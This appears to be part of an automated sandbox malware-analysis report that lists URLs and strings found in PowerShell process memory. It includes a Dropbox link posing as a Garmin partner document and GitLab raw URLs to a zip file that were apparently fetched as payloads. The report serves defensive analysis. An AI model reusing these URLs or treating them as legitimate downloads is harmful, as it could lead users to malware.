https://onedrive.live.com/picker ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; connect-src https://* ws://127.0.0.1:*/ws blob: wss://dsimports.dropbox.com/ ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://*.dropboxusercontent.com/p/hls_master_playlist/ https://*.dropboxusercontent.com/p/hls_playlist/ ; media-src https://* blob: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: equals www.yahoo.com (Yahoo)
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: rc https://* data: blob: ; base-uri 'self' ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; frame-ancestors 'self' https://*.dropbox.com ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://*.purple.officeapps.live-int.com https://officeapps-df.live.com https://*.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; connect-src https://* ws://127.0.0.1:*/ws blob: wss://dsimports.dropbox.com/ ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://*.dropboxusercontent.com/p/hls_master_playlist/ https://*.dropboxusercontent.com/p/hls_playlist/ ; media-src https://* blob: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: equals www.yahoo.com (Yahoo)
                  Source: global trafficDNS traffic detected: DNS query: www.dropbox.com
                  Source: global trafficDNS traffic detected: DNS query: gitlab.com
                  Source: powershell.exe, 0000000F.00000002.2316901721.000002714EB06000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.microsoft
                  Source: powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C4F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://gitlab.com
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A18C08000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2263053219.0000026A273D5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2263053219.0000026A27292000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2367807660.0000027160662000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151FD2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2367807660.00000271607A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2480192516.000001D520F82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2480192516.000001D5210C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2399307643.000001D5128A4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
                  Source: powershell.exe, 00000010.00000002.2399307643.000001D511143000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A17221000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.00000271505F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2399307643.000001D510F11000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www-env.dropbox-dns.com
                  Source: powershell.exe, 0000000F.00000002.2374989163.0000027168811000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.apache.o
                  Source: powershell.exe, 00000010.00000002.2399307643.000001D511143000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.dropbox.com
                  Source: powershell.exe, 0000000C.00000002.2266123287.0000026A2F334000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.microsoft.co
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://a.sprig.com/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/gsi/client
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A17221000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.00000271505F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2399307643.000001D510F11000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.login.yahoo.com/
                  Source: powershell.exe, 0000000F.00000002.2317473023.0000027151C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://apis.google.com
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://app.hellofax.com/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://app.hellosign.com/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://canny.io/sdk.js
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cfl.dropboxstatic.com/static/
                  Source: powershell.exe, 0000000F.00000002.2317473023.0000027151C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://collector.prd-278964.gl-product-analytics.com
                  Source: powershell.exe, 00000010.00000002.2399307643.000001D5128A4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
                  Source: powershell.exe, 00000010.00000002.2399307643.000001D5128A4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
                  Source: powershell.exe, 00000010.00000002.2399307643.000001D5128A4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
                  Source: powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://customers.gitlab.com
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://dl-web.dropbox.com/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/document/fsip/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/presentation/fsip/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/spreadsheets/fsip/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.sandbox.google.com/document/fsip/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.sandbox.google.com/presentation/fsip/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.sandbox.google.com/spreadsheets/fsip/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docsend.com/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://experience.dropbox.com/
                  Source: powershell.exe, 00000010.00000002.2399307643.000001D511143000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
                  Source: powershell.exe, 0000000F.00000002.2317473023.0000027151222000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://gitlab.com
                  Source: powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://gitlab.com(
                  Source: powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://gitlab.com/-/sandbox/
                  Source: powershell.exe, 0000000F.00000002.2317473023.0000027151C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://gitlab.com/-/sandbox/;
                  Source: powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://gitlab.com/-/speedscope/index.html
                  Source: powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://gitlab.com/admin/
                  Source: powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://gitlab.com/assets/
                  Source: powershell.exe, 0000000F.00000002.2315926744.000002714E8DA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gitlab.com/garvdsf/dsfg/-/raw/main/FGa1712.zip
                  Source: powershell.exe, 0000000F.00000002.2376986372.0000027168900000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gitlab.com/garvdsf/dsfg/-/raw/main/fga1712.zip
                  Source: powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://gitlab.com/users/sign_in
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A17E52000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151222000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
                  Source: powershell.exe, 00000010.00000002.2399307643.000001D511B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.microp
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://help.dropbox.com/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://instructorledlearning.dropboxbusiness.com/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://login.yahoo.com/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://navi.dropbox.jp/
                  Source: powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://new-sentry.gitlab.net
                  Source: powershell.exe, 0000000F.00000002.2317473023.0000027151C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_env
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A18C08000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2263053219.0000026A273D5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2263053219.0000026A27292000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2367807660.0000027160662000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151FD2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2367807660.00000271607A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2480192516.000001D520F82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2480192516.000001D5210C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2399307643.000001D5128A4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://officeapps-df.live.com
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://officeapps.live.com
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://onedrive.live.com/picker
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pal-test.adyen.com
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://paper.dropbox.com/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://paper.dropbox.com/cloud-docs/edit
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://photos.dropbox.com/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://sales.dropboxbusiness.com/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://selfguidedlearning.dropboxbusiness.com/
                  Source: powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://sentry.gitlab.net
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://showcase.dropbox.com/
                  Source: powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://snowplow.trx.gitlab.net
                  Source: powershell.exe, 0000000F.00000002.2317473023.0000027151C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://sourcegraph.com
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://uc09529f5e3b244b4704aaf91c74.dl.dropboxusercontent.com
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://uc09529f5e3b244b4704aaf91c74.dl.dropboxusercontent.com/cd/0/get/CghQiQjJ6jJTz2MU_KT5dxuUuqFT
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.docsend.com/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A18583000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/encrypted_folder_download/service_worker.js
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/page_success/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/pithos/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/playlist/
                  Source: powershell.exe, 0000000C.00000002.2245850172.0000026A15102000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.do
                  Source: powershell.exe, 0000000C.00000002.2246397443.0000026A153C6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/garmin_campaign_information_for_partners_v10.do
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/service_worker.js
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/static/api/
